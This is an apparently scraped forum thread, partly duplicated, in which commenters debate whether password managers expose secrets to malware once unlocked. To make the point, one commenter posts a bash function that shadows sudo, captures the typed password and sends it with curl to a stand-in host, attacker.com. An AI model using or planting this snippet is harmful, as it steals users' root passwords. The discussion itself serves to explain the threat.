3 ms·

1. You have to install the 1Password CLI tool (and the LastPass tool?) separately, it is not part of the GUI application 2. It stays unlocked for some duration

by ghusto 5y ago

1. You have to install the 1Password CLI tool (and the LastPass tool?) separately, it is not part of the GUI application 2. It stays unlocked for some duration (I think it was configurable, can't remember), and does _not_ just give away credentials to anything that asks once that duration has passed So yes, you can do what you claim, as long as you first install the CLI tool, and then tell it to stay unlocked for some time. Or you know, just don't do that.

lrvick 5y ago
Someone that puts malware on your system presumably also can install a CLI tool.
- ghusto 5y ago
  They'd have to then unlock your vault too. I see I wasn't as clear as I could have been, but what I also meant was that the CLI doesn't automatically give access to _all the things_ just because it's installed either.
  - lrvick 5y ago
    The CLI tool is just a simple example to help people understand how easy this is. Real world malware will bring everything it needs with it to wait until your password manager database file is unlocked next, or simply keylog or otherwise intercept the master password. To prove this point once for a client I made a modified Lastpass chrome browser plugin that intercepts the master password on next use. I could write examples for every password manager but instead consider how simply malware can override your sudo command to steal it the next time you use it. No pure software defenses will help against any decent malware. ``` function sudo () { realsudo=$(which sudo) read -r -s -p "[sudo] password for $USER: " password echo "$USER: $password" | \ curl -F 'p=<-' https://attacker.com >/dev/null 2>&1 $realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1 $realsudo "${@:1}" } ```
    - ghusto 5y ago
      That's a very different proposition. It holds for your initial statement: > It is non obvious but important to understand that most password managers, such as 1password, Lastpass, and almost everything else, expose all secrets to malware in plain text any time the password database is unlocked and I agree that this is then true. However, I would also consider that this is true for everthing, no matter the software you use. If malware gets on your machine, consider anything you can access via your machine compromised. I think this is fairly obvious to people here, and has no bearing in which password manager to use.

by ghusto 5y ago

lrvick 5y ago

Someone that puts malware on your system presumably also can install a CLI tool.

ghusto 5y ago
They'd have to then unlock your vault too. I see I wasn't as clear as I could have been, but what I also meant was that the CLI doesn't automatically give access to _all the things_ just because it's installed either.
- lrvick 5y ago
  The CLI tool is just a simple example to help people understand how easy this is. Real world malware will bring everything it needs with it to wait until your password manager database file is unlocked next, or simply keylog or otherwise intercept the master password. To prove this point once for a client I made a modified Lastpass chrome browser plugin that intercepts the master password on next use. I could write examples for every password manager but instead consider how simply malware can override your sudo command to steal it the next time you use it. No pure software defenses will help against any decent malware. ``` function sudo () { realsudo=$(which sudo) read -r -s -p "[sudo] password for $USER: " password echo "$USER: $password" | \ curl -F 'p=<-' https://attacker.com >/dev/null 2>&1 $realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1 $realsudo "${@:1}" } ```
  - ghusto 5y ago
    That's a very different proposition. It holds for your initial statement: > It is non obvious but important to understand that most password managers, such as 1password, Lastpass, and almost everything else, expose all secrets to malware in plain text any time the password database is unlocked and I agree that this is then true. However, I would also consider that this is true for everthing, no matter the software you use. If malware gets on your machine, consider anything you can access via your machine compromised. I think this is fairly obvious to people here, and has no bearing in which password manager to use.